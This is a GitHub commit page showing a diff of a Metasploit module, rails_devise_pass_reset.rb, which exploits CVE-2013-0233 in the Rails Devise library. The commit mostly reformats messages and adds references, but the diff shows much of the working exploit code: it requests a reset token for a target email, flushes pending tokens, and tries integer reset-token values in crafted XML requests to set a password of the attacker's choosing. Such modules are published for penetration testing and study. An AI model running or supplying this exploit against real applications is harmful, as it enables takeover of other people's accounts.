Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

Merge pull request #1 from jvazquez-r7/devise_clean

This is all just formatting, ref additions, etc.  Nothing substantial so I'll just merge and test as I'm trying to figure out what's up with failing on @rvazquez-r7's app.
  • Loading branch information...
commit 22c9fa7b7d4fa121437313c139130ca4ef4428a8 2 parents 1d5d33f + 799beb5
@jjarmoc jjarmoc authored
Showing with 28 additions and 28 deletions.
  1. +28 −28 modules/auxiliary/admin/http/rails_devise_pass_reset.rb
View
56 modules/auxiliary/admin/http/rails_devise_pass_reset.rb
@@ -26,75 +26,72 @@ def initialize(info = {})
but these may require adjustment for implementations which customize them.
Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
- except PostgreSQL or SQLite3.
-
- Tested w/ v2.2.2, 2.1.2, and 2.0.4.
+ except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4.
},
'Author' =>
[
'joernchen', #original discovery and disclosure
- 'jjarmoc', #metasploit module
+ 'jjarmoc' #metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0233'],
+ [ 'OSVDB', '89642' ],
+ [ 'BID', '57577' ],
[ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],
- [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'],
+ [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html']
],
'DisclosureDate' => 'Jan 28 2013'
))
register_options(
[
- OptString.new('TARGETURI', [ true, "The request URI", '/users/password']),
- OptString.new('TARGETEMAIL', [true, "The email address of target account"]),
+ OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
+ OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
OptString.new('PASSWORD', [true, 'The password to set']),
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
- OptInt.new('MAXINT', [true, "Max integer to try (tokens begining with a higher int will fail)", 10])
+ OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10])
], self.class)
end
def generate_token(account)
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
- print_status("Generating reset token for #{account}")
-
postdata="user[email]=#{account}"
res = send_request_cgi({
- 'uri' => normalize_uri(datastore['TARGETURI']),
- 'method' => 'POST',
- 'data' => postdata,
- })
+ 'uri' => normalize_uri(datastore['TARGETURI']),
+ 'method' => 'POST',
+ 'data' => postdata,
+ })
- unless (res)
+ unless res
print_error("No response from server")
return false
end
if res.code == 200
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
- print_error("Server returned an error:")
- print_error(error_text)
+ print_error("Server returned error")
+ vprint_error(error_text)
return false
end
+
return true
end
def clear_tokens()
- print_status("Clearing existing tokens")
count = 0
status = true
until (status == false) do
status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5))
count += 1 if status
end
- print_status("Cleared #{count} tokens")
+ vprint_status("Cleared #{count} tokens")
end
def reset_one(password, report=false)
- print_status("Resetting password to \"#{password}\"") if report
(0..datastore['MAXINT']).each{ |int_to_try|
encode_pass = REXML::Text.new(password).to_s
@@ -112,7 +109,8 @@ def reset_one(password, report=false)
'ctype' => 'application/xml',
'data' => xml,
})
- unless (res)
+
+ unless res
print_error("No response from server")
return false
end
@@ -123,8 +121,8 @@ def reset_one(password, report=false)
# May need to tweak this for some apps...
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
if (report) && (error_text !~ /token/)
- print_error("Server returned an error:")
- print_error(error_text)
+ print_error("Server returned error")
+ vprint_error(error_text)
return false
end
when 302
@@ -136,27 +134,29 @@ def reset_one(password, report=false)
end
}
- print_error("No active reset tokens below #{datastore['MAXINT']} remain.
- Try a higher MAXINT.") if report
+ print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
return false
end
def run
# Clear outstanding reset tokens, helps ensure we hit the intended account.
+ print_status("Clearing existing tokens...")
clear_tokens() if datastore['FLUSHTOKENS']
# Generate a token for our account
+ print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
status = generate_token(datastore['TARGETEMAIL'])
if status == false
- print_error("Failed")
+ print_error("Failed to generate reset token")
return
end
- print_good("Success")
+ print_good("Reset token generated successfully")
# Reset a password. We're racing users creating other reset tokens.
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
+ print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
status = reset_one(datastore['PASSWORD'], true)
- status ? print_good("Success") : print_error("Failed")
+ status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
end
end
Please sign in to comment.
Something went wrong with that request. Please try again.